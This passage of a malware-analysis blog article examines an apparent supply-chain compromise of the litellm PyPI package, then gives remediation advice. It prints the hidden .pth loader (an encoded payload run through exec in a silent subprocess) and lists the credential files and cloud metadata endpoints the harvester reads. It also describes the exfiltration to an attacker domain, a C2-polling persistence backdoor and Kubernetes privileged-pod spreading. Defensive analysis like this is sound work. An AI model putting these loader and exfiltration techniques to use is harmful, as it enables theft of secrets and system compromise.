  &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;import base64; exec(base64.b64decode(base64.b64decode(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PAYLOAD&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)))&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEVNULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEVNULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this does:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;subprocess.Popen&lt;/code&gt;: Forks a new child process. &lt;code&gt;Popen&lt;/code&gt; (not &lt;code&gt;run&lt;/code&gt; or &lt;code&gt;call&lt;/code&gt;) returns immediately without waiting. The parent Python process continues normally. The user sees no delay, no error, nothing. Under the hood this is &lt;code&gt;fork()&lt;/code&gt; + &lt;code&gt;exec()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;base64.b64decode(base64.b64decode(...))&lt;/code&gt;: Double base64 decoding. The outer decode produces another base64 string. The inner decode produces the actual malware. Double encoding evades scanners that pattern match on known malicious code.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;exec(...)&lt;/code&gt;: Executes the decoded 331 line credential harvester in the child process.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;stdout=DEVNULL, stderr=DEVNULL&lt;/code&gt;: Suppresses all output. Silent.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5j0rn8g9kytaku7upy4f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5j0rn8g9kytaku7upy4f.png" width="800" height="497"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Base64 encoded payload visible in the .pth file&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The fork bomb: an unintended side effect
&lt;/h3&gt;

&lt;p&gt;There is a catch the attacker apparently didn't fully account for. When the &lt;code&gt;.pth&lt;/code&gt; file triggers &lt;code&gt;subprocess.Popen&lt;/code&gt; to launch a new Python process, that new process also starts up, scans &lt;code&gt;site-packages/&lt;/code&gt;, finds the same &lt;code&gt;.pth&lt;/code&gt; file, and triggers it again. And again. And again.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9r8x7v8lsqtop0pxkcdg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9r8x7v8lsqtop0pxkcdg.png" width="787" height="1182"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Fork Bomb Flow Diagram&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We observed this firsthand in our lab. Starting from a single &lt;code&gt;python3 -c "print('hello')"&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Time  | Python processes |
|-------|------------------|
| T+0s  | 3 (normal)       |
| T+1s  | 14               |
| T+2s  | 55               |
| T+4s  | 133              |
| T+13s | 390              |
| T+18s | 509              |
| T+38s | 891              |
| T+40s | Machine dead     |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;From 3 to 891 Python processes in 38 seconds.&lt;/strong&gt; The machine ran out of RAM and became completely unresponsive.&lt;/p&gt;

&lt;p&gt;This is actually how the attack was originally discovered. Callum McMahon at FutureSearch noticed his machine ran out of RAM when an MCP plugin in the Cursor IDE pulled litellm as a transitive dependency.&lt;/p&gt;

&lt;h3&gt;
  
  
  The payload: what it steals
&lt;/h3&gt;

&lt;p&gt;Once decoded and executing, the payload is a 331 line Python script that operates in three stages.&lt;/p&gt;

&lt;h4&gt;
  
  
  Stage 1: Credential harvesting
&lt;/h4&gt;

&lt;p&gt;The script reads files from well known paths. Every secret on the machine is a target:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSH credentials:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;~/.ssh/id_rsa&lt;/code&gt;, &lt;code&gt;~/.ssh/id_ed25519&lt;/code&gt;: private keys&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;~/.ssh/config&lt;/code&gt;: host configurations, jump hosts&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/etc/ssh/ssh_host_*_key&lt;/code&gt;: server host keys&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Cloud provider credentials:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;~/.aws/credentials&lt;/code&gt;: AWS Access Key ID and Secret&lt;/li&gt;
&lt;li&gt;GCP service account JSON keys&lt;/li&gt;
&lt;li&gt;Azure CLI token cache&lt;/li&gt;
&lt;li&gt;EC2 IMDS queries (&lt;code&gt;169.254.169.254&lt;/code&gt;) for IAM role credentials&lt;/li&gt;
&lt;li&gt;AWS Secrets Manager dump via SigV4 signed API calls&lt;/li&gt;
&lt;li&gt;AWS SSM Parameter Store dump&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;~/.kube/config&lt;/code&gt;: cluster access&lt;/li&gt;
&lt;li&gt;Service account tokens at &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;All secrets across all namespaces via the K8s API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Application secrets:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;.env&lt;/code&gt; files (recursive search to depth 6)&lt;/li&gt;
&lt;li&gt;Shell history (&lt;code&gt;~/.bash_history&lt;/code&gt;, &lt;code&gt;~/.zsh_history&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Database credentials (&lt;code&gt;.pgpass&lt;/code&gt;, &lt;code&gt;.my.cnf&lt;/code&gt;, &lt;code&gt;redis.conf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Docker registry auth (&lt;code&gt;~/.docker/config.json&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;npm tokens (&lt;code&gt;~/.npmrc&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Terraform state and variables (&lt;code&gt;terraform.tfvars&lt;/code&gt;, &lt;code&gt;terraform.tfstate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CI/CD configs (Jenkinsfile, &lt;code&gt;.gitlab-ci.yml&lt;/code&gt;, &lt;code&gt;.travis.yml&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Cryptocurrency wallets (Bitcoin, Ethereum, Solana, Cardano, and more)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The script doesn't crash if a file doesn't exist. It silently skips it. It runs on any machine: developer laptop, CI runner, production server, Kubernetes pod and takes whatever is available.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F43astaict9080lknugbb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F43astaict9080lknugbb.png" width="800" height="494"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Filesystem log showing the malware reading SSH keys, AWS credentials, git credentials&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Stage 2: Encryption and exfiltration
&lt;/h4&gt;

&lt;p&gt;The stolen data is not sent in plaintext:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generate a random AES-256 session key using &lt;code&gt;openssl rand&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt all collected data with &lt;code&gt;openssl enc -aes-256-cbc -pbkdf2&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the session key with a hardcoded 4096 bit RSA public key&lt;/li&gt;
&lt;li&gt;Bundle everything into &lt;code&gt;tpcp.tar.gz&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;POST to &lt;code&gt;https://models.litellm.cloud/&lt;/code&gt; with an &lt;code&gt;X-Filename&lt;/code&gt; header&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The RSA public key is hardcoded in the malware. Only the attacker holds the matching private key. Even if you capture the network traffic, you cannot decrypt the contents.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqyflqwzawyz039ikinl5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqyflqwzawyz039ikinl5.png" width="800" height="491"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Decoded payload showing the AES encryption and curl exfiltration code&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Stage 3: Kubernetes lateral movement
&lt;/h4&gt;

&lt;p&gt;If the script detects a Kubernetes service account token, it escalates massively:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Read all secrets across all namespaces&lt;/li&gt;
&lt;li&gt;For every node in the cluster, create a privileged pod:

&lt;ul&gt;
&lt;li&gt;Named &lt;code&gt;node-setup-NODE_NAME&lt;/code&gt; in &lt;code&gt;kube-system&lt;/code&gt; namespace&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;hostPID: true&lt;/code&gt;, &lt;code&gt;hostNetwork: true&lt;/code&gt;, &lt;code&gt;privileged: true&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Mounts the entire host filesystem at &lt;code&gt;/host&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Tolerates all taints (runs on every node, including control plane)&lt;/li&gt;
&lt;li&gt;Installs the persistence backdoor on each node via chroot&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;One compromised pip install on a developer laptop can lead to every node in the Kubernetes cluster being backdoored.&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Stage 4: Persistence
&lt;/h4&gt;

&lt;p&gt;The malware installs a backdoor that survives &lt;code&gt;pip uninstall&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;~/.config/sysmon/sysmon.py&lt;/code&gt;: a 44 line Python script&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;~/.config/systemd/user/sysmon.service&lt;/code&gt;: a systemd service that auto starts it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The name "sysmon" is deliberately chosen, it mimics Microsoft's legitimate system monitoring tool. The script:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Waits 5 minutes before doing anything (sandbox evasion)&lt;/li&gt;
&lt;li&gt;Polls &lt;code&gt;https://checkmarx.zone/raw&lt;/code&gt; (the attacker's C2 server) every 50 minutes for new payloads&lt;/li&gt;
&lt;li&gt;Downloads and executes whatever the C2 server provides&lt;/li&gt;
&lt;li&gt;Has a kill switch: if the C2 returns a YouTube URL, it skips execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After this step, even &lt;code&gt;pip uninstall litellm&lt;/code&gt; doesn't help. The backdoor lives outside pip's control.&lt;/p&gt;
&lt;h3&gt;
  
  
  The two versions: why 1.82.8 was worse
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;v1.82.7&lt;/th&gt;
&lt;th&gt;v1.82.8&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Injection in proxy_server.py&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.pth file&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Triggers when&lt;/td&gt;
&lt;td&gt;You import litellm.proxy&lt;/td&gt;
&lt;td&gt;Any Python command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Must use litellm?&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, just having it installed is enough&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Version 1.82.7 was targeted, it only fires if you actually use the proxy module. Version 1.82.8 was a carpet bomb, every Python invocation triggers it.&lt;/p&gt;
&lt;h3&gt;
  
  
  The mitmproxy capture: seeing the attack in real-time
&lt;/h3&gt;

&lt;p&gt;We set up a lab with mitmproxy intercepting all HTTPS traffic from the malware. Here is what we captured:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. GET 169.254.169.254/.../security-credentials/ -&amp;gt; Steal IAM role
2. PUT 169.254.169.254/latest/api/token -&amp;gt; Get IMDSv2 token
3. CONNECT secretsmanager.us-east-1.amazonaws.com -&amp;gt; Dump Secrets Manager
4. CONNECT ssm.us-east-1.amazonaws.com -&amp;gt; Dump SSM Parameters
5. CONNECT models.litellm.cloud:443 -&amp;gt; Exfiltrate to C2
6. GET 169.254.170.2 -&amp;gt; Steal ECS credentials
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F873u1c43nm1dv7mpy6qg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F873u1c43nm1dv7mpy6qg.png" width="800" height="490"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: mitmproxy capturing all malicious traffic — IMDS queries, AWS API calls, C2 exfiltration&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The malware tried to reach 5 different endpoints. On a real EC2 instance with an IAM role and real AWS credentials, steps 1–4 would have succeeded silently dumping every secret in Secrets Manager and SSM Parameter Store.&lt;/p&gt;

&lt;h3&gt;
  
  
  Discovery and response
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;12:00 UTC&lt;/strong&gt; : Callum McMahon at FutureSearch notices his machine running out of RAM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;13:48 UTC&lt;/strong&gt; : Security issue disclosed on GitHub.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;15:00 UTC&lt;/strong&gt; : PyPI yanks versions 1.82.7 and 1.82.8.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;16:00 UTC&lt;/strong&gt; : PyPI quarantines the entire litellm package.&lt;/p&gt;

&lt;p&gt;The attack window was approximately &lt;strong&gt;6.5 hours&lt;/strong&gt;. During that time, anyone who ran &lt;code&gt;pip install litellm&lt;/code&gt; or &lt;code&gt;pip install --upgrade litellm&lt;/code&gt; received the compromised version.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why it worked
&lt;/h3&gt;

&lt;p&gt;Several factors aligned:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Unpinned dependency in CI/CD&lt;/strong&gt; : LiteLLM installed Trivy via &lt;code&gt;curl | sh&lt;/code&gt; without version pinning, inheriting Trivy's compromise.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PyPI token in CI environment&lt;/strong&gt; : The publishing credentials were accessible to the CI job that ran Trivy. Principle of least privilege was not applied.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No release verification&lt;/strong&gt; : PyPI does not verify that a published version has a corresponding Git tag. Anyone with the token can upload anything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The .pth mechanism&lt;/strong&gt; : A 22 year old Python feature that auto executes code on startup. No CVE. No bug. Just a feature that enables silent code execution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LiteLLM's role as a key gateway&lt;/strong&gt; : The package, by design, has access to every LLM API key. Compromising it yields maximum credential harvest.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  What you should do right now
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;If you installed litellm 1.82.7 or 1.82.8:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run &lt;code&gt;pip show litellm&lt;/code&gt; to check your version&lt;/li&gt;
&lt;li&gt;Search for &lt;code&gt;litellm_init.pth&lt;/code&gt; in your Python site-packages&lt;/li&gt;
&lt;li&gt;Check for &lt;code&gt;~/.config/sysmon/sysmon.py&lt;/code&gt; on any affected machine&lt;/li&gt;
&lt;li&gt;Check for pods named &lt;code&gt;node-setup-*&lt;/code&gt; in your Kubernetes clusters&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate every credential&lt;/strong&gt; on any affected system: SSH keys, AWS keys, K8s configs, API tokens, database passwords, everything&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;For everyone:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pin your dependencies. Every one. Including tools fetched via &lt;code&gt;curl | sh&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Scope your CI/CD secrets. Publishing tokens should only be accessible to dedicated publishing jobs.&lt;/li&gt;
&lt;li&gt;Use PyPI Trusted Publishers (OIDC-based publishing from GitHub Actions, no static tokens to steal).&lt;/li&gt;
&lt;li&gt;Periodically scan &lt;code&gt;site-packages/&lt;/code&gt; for &lt;code&gt;.pth&lt;/code&gt; files containing executable code.&lt;/li&gt;
&lt;li&gt;Check that your PyPI dependencies have matching GitHub tags.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Going deeper
&lt;/h3&gt;

&lt;p&gt;In &lt;a href="https://medium.com/@tarekcheikh/we-detonated-the-real-litellm-malware-on-ec2-heres-what-happened-e937c77c26b7" rel="noopener noreferrer"&gt;Part 2&lt;/a&gt;, we detonate the real compromised package on an isolated EC2 instance and capture every stage of the attack with mitmproxy, strace, and inotifywait. We see the fork bomb in real-time, watch the credential harvester read our honeypot files, and intercept the exfiltration attempt.&lt;/p&gt;

&lt;p&gt;Full analysis repo with malware samples, lab scripts, and evidence: &lt;a href="https://github.com/TocConsulting/litellm-supply-chain-attack-analysis" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/litellm-supply-chain-attack-analysis&lt;/a&gt;&lt;/p&gt;




</description>
      <category>malwareanalysis</category>
      <category>aws</category>
      <category>cybersecurity</category>
      <category>cloudcomputing</category>
    </item>
  </channel>
</rss>
